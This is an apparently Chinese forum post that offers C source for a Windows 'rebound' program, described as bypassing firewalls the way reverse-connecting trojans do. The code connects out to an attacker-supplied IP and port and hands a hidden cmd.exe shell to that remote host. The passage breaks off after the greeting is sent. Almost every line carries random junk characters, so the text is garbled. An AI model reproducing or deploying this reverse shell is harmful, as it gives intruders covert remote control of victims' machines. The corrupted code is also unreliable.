这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1B}q?8n
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/* ============================== xPBSJhla
Rebound port in Windows NT (al.7VA;9
By wind,2006/7 c:#<g/-{wM
===============================*/ b#ga
#include bVfFhfh*
#include yx5F]Z<M2
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#pragma comment(lib,"wsock32.lib") 5mzOr4*0
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void OutputShell(); =BD} +(3
SOCKET sClient; %=p:\+`VI
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?O(@BT
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void main(int argc,char **argv) EY3x o-H
{ 'I$-h<W
WSADATA stWsaData; UI:YzR
int nRet; SZUhZIz&
SOCKADDR_IN stSaiClient,stSaiServer; \YUl$d0
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if(argc != 3) 'XW[uK]w)
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); 05sWN 0
return; t<~WDI|AN
} y{&k`H
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WSAStartup(MAKEWORD(2,2),&stWsaData); m7<HK,d
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7
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stSaiClient.sin_family = AF_INET; j@chSk"K
stSaiClient.sin_port = htons(0); ~kDR9s7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '8%pEl^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MmIVTf4
{ Q1ox<-
printf("Bind Socket Failed!\n"); 7RXTQ9BS
return; 1Yr&E_5/
} N5W;Zx]
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stSaiServer.sin_family = AF_INET; * SAYli+@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bx!uHL=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9NUft8QB
\R"} =7
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Lj]I7ICNh
{ .&z/p3 1
printf("Connect Error!"); T6/d[SH>
return; T >pz/7gb
} ( I<]@7>
OutputShell(); 3k%fY
} woSO4e/
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void OutputShell() z@70{*
{ 0^%\! Xxq
char szBuff[1024]; 3K{XT),
SECURITY_ATTRIBUTES stSecurityAttributes; ~*R:UTBtw
OSVERSIONINFO stOsversionInfo; (~59}lu~
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :S['hBMN
STARTUPINFO stStartupInfo; ioIOyj
char *szShell; OO7sj@
PROCESS_INFORMATION stProcessInformation; 7!-3jU@m
unsigned long lBytesRead; 4Sj;38F
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2X];zY
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |6qxRWT"
stSecurityAttributes.lpSecurityDescriptor = 0; #=}dv8
stSecurityAttributes.bInheritHandle = TRUE; =O~ J
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KOQiX?'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1\'?.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^A&i$RRO
stStartupInfo.wShowWindow = SW_HIDE; m=saUhI*9
stStartupInfo.hStdInput = hReadPipe; {"^LUw8fd
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; q+j.)e
s=[Tm}[
GetVersionEx(&stOsversionInfo); "ITC P<+
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switch(stOsversionInfo.dwPlatformId) `5HFRgL`.
{ +2DzX/3
case 1: ^Vbx9UN/
szShell = "command.com"; !b !C+ \v
break; |iGfX,C|
default: xgdS]Sz
szShell = "cmd.exe"; 1q?b?.
break; PpxLMe]
} sl5y1W/]]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y_s^dQe
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send(sClient,szMsg,77,0); *\-R&